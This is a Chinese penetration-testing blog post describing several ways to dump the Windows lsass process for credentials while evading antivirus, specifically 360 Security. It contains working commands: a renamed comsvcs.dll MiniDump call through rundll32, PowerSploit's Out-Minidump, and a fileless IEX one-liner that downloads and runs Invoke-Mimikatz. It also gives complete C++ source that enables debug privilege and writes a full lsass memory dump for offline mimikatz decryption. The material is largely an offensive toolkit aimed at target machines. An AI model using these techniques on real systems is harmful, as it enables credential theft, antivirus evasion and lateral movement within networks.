几种免杀转储lsass进程的技巧
DR0s1 渗透测试 6849浏览 · 2021-08-30 09:44

几种免杀转储lsass进程的技巧

在内网渗透进行横向移动和权限提升时,最常用的方法是通过dump进程lsass.exe,从中获得明文口令或者hash。lsass.exe(Local Security Authority Subsystem Service)是一个系统进程,用于微软Windows系统的安全机制,它用于本地安全和登陆策略。在进程空间中,存有着机器的域、本地用户名和密码等重要信息。但是需要首先获得一个高的权限才能对其进行访问。

在存在杀软防护的情况下,要想转储lsass进程,我首先想到的是procdump+Mimikatz 的方式来绕过杀软,因为Procdump工具是微软自家的,不会引起报毒。但是我在实际测试中发现,这种思路还是会被360安全卫士拦截。

下面几个分享几个我学习到的绕过杀软转储lsass方式,目前亲测可过360安全卫士,别的杀软我还没有具体测试。下边分享的代码和工具虽然多种多样,但是本质上都是用到了debugprivilege和MiniDump。杀软对API的监控不严格导致出现了安全问题。

使用系统内置功能绕过杀软

comsvcs.dll,系统自带。通过comsvcs.dll的导出函数MiniDump实现dump内存。

在dump指定进程内存文件时,需要开启SeDebugPrivilege权限。管理员权限的cmd下,默认支持SeDebugPrivilege权限,但是状态为Disabled禁用状态

如果直接在cmd下执行rundll32的命令尝试dump指定进程内存文件的话,由于无法开启SeDebugPrivilege权限,会dump失败。

解决方式:

管理员权限的powershell下,默认支持SeDebugPrivilege权限,并且状态为已启用。

首先查看lsass.exe进程PID:

tasklist | findstr lsass.exe

命令格式:

rundll32.exe comsvcs.dll MiniDump <lsass PID> <out path> full

此处为:

rundll32.exe comsvcs.dll MiniDump 508 c:\windows\temp full

直接运行会被拦截:

简单的绕过思路:

copy一下comsvcs.dll并命名为随意名字,例如test.dll

copy C:\windows\System32\comsvcs.dll test.dll
rundll32.exe test.dll, MiniDump 508 lsass.dmp full

成功转储了lsass

下载到本地解密。这里有个坑点

我下载到本地后,解密失败。一开始以为保存的时候没有保存全,又试了几次还是没有解密。

经过查询资料得知,是新版的mimikatz和win10 1809版本之间的问题导致解密失败。详见https://githubmemory.com/repo/gentilkiwi/mimikatz/issues/354

换用mimikatz 1809版就好了。

成功解密。

powershell脚本

Out-MiniDump.ps1

使用PowerSploit 的Out-MiniDump模块,PowerSploit是一个基于 Powershell 的渗透工具包,可以选择创建进程的完整内存转储。工具连接:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

Import-Module Out-MiniDump 导入

Get-Process lsass | Out-Minidump 执行

解密

使用ps版mimikatz

工具地址:https://github.com/fir3d0g/mimidogz

在执行powershell脚本的时候,常常采用

powershell "IEX (New-Object Net.WebClient).DownloadString ('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

远程加载的方式,达到文件不落地来更好的规避检测的目的,但是如果目标机器网络环境不允许的话,那就直接把ps1上传到目标机器来运行。

应用程序

#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>

#pragma comment ( lib, "dbghelp.lib" )

using namespace std;


#define INFO_BUFFER_SIZE 32767

std::wstring s2ws(const std::string& s)
{
    int len;
    int slength = (int)s.length() + 1;
    len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0);
    wchar_t* buf = new wchar_t[len];
    MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);
    std::wstring r(buf);
    delete[] buf;
    return r;
}
// 提升权限为 debug
bool EnableDebugPrivilege()
{
    HANDLE hToken;
    LUID sedebugnameValue;
    TOKEN_PRIVILEGES tkp;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        return   FALSE;
    }
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) //修改进程权限
    {
        CloseHandle(hToken);
        return false;
    }
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) //通知系统修改进程权限
    {
        CloseHandle(hToken);
        return false;
    }
    return true;
}

int main() {
    char filename[INFO_BUFFER_SIZE];
    char infoBuf[INFO_BUFFER_SIZE];
    DWORD  bufCharCount = INFO_BUFFER_SIZE;
    GetComputerNameA(infoBuf, &bufCharCount);
    strcpy_s(filename, infoBuf);
    strcat_s(filename, "-");
    strcat_s(filename, "lsass.dmp");

    DWORD lsassPID = 0;
    HANDLE lsassHandle = NULL;
    HANDLE outFile = CreateFileA(filename, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};  // 拍摄快照时驻留在系统地址空间里的进程列表结构体
    processEntry.dwSize = sizeof(PROCESSENTRY32);   //结构大小
    LPCWSTR processName = L"";  //进程名

    if (Process32First(snapshot, &processEntry)) {  //检索快照中第一个进程的信息
        while (_wcsicmp(processName, L"lsass.exe") != 0) {  //循环检索快照中的进程
            Process32Next(snapshot, &processEntry);
            processName = processEntry.szExeFile;   // 获取当前进程的进程名
            lsassPID = processEntry.th32ProcessID;
        }
        wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
    }

    if (EnableDebugPrivilege() == false)
    {
        printf("enable %d", GetLastError());
    }
    EnableDebugPrivilege();
    lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID); // 根据 Pid 打开 lsass.exe 进程,获取句柄
    BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL); //转储lsass,写入outfile

    if (isDumped) {
        cout << "[+] Save To " << filename << endl;
        cout << "[+] lsass dumped successfully!" << endl;
    }

    return 0;
}

上边的代码来源是吐司https://www.t00ls.net/viewthread.php?tid=54000&extra=&page=1

是我学习此知识点过程中遇到的考虑最完善的代码,他的代码相比较其他师傅的代码考虑了更多情况,比如说为了避免权限不足打不开lsass进程而导致dmp文件为空的情况,新增了提权函数加以验证。

程序运行分为以下几步:

1.提升权限。因为lsass进程的权限为system权限,所以想要对其操作首先要提升自身进程权限为debug权限。

2.对所有进程拍摄快照,然后循环检索lsass进程id

3.将lsass内存的快照进行转储,并写入文件

将代码编译成exe,运行看一下效果

成功转储。

放到装有360安全卫士的目标机器上运行,目标机器为win 2008 R2 64位系统

运行提示缺少dll,下载对应dll移动到c:/windows/system32目录下

重新运行exe程序

成功转储。

使用mimikatz解密成功。

我在学习过程中,习惯用多个方法来解决一个问题。一是没有那种万能方法,能为我通杀所有的环境,同问题不多考虑几种方法的话,我本身会觉得比较虚;二是也趁着对同知识点学习的惯性,多手法之间能够融会贯通一下,免得在学同类型知识点就忘了以前是咋回事了。前人栽树,后人乘凉。本文是在学习师傅们思路手法的基础上,形成的一篇总结性的文章,在自己记录的同时,希望能帮到其他人。

参考链接:

https://githubmemory.com/repo/gentilkiwi/mimikatz/issues/354
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
https://www.t00ls.net/viewthread.php?tid=54000&extra=&page=1
https://mp.weixin.qq.com/s/IA42D6hjvk4Bld65Wahuag
https://_thorns.gitbooks.io/sec/content/powershell.html
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
https://www.t00ls.net/viewthread.php?tid=54000&extra=&page=2
https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf
https://www.t00ls.net/thread-62435-1-1.html

2 条评论
某人
表情
可输入 255